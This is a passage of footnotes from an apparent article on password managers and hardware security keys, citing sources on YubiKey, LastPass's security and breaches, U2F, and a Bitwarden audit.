11. DUO, What’s the difference between the YubiKey OTP and Security Key functionalities? ↩︎

12. Versprite, Attacking LastPass: Compromising an Entire Password Database ↩︎

13. Lastpass Technical Whitepaper ↩︎

14. https://github.com/konomae/lastpass-python/ ↩︎ ↩︎²

15. PSA: LastPass Does Not Encrypt Everything In Your Vault ↩︎ ↩︎² ↩︎³

16. LastPass Hacked — Identified Early & Resolved ↩︎ ↩︎²

17. Yubico, LastPass Premium and Families ↩︎ ↩︎² ↩︎³

18. John Leyden, PortSwigger The Daily Swig, U2F nowhere near ready for prime time ↩︎ ↩︎²

19. Josie Colt, Wired, Simplify and Secure Your Online Logins With a YubiKey ↩︎

20. ZDNet, Best security keys in 2020 ↩︎

21. Bitwarden Completes Third-party Security Audit ↩︎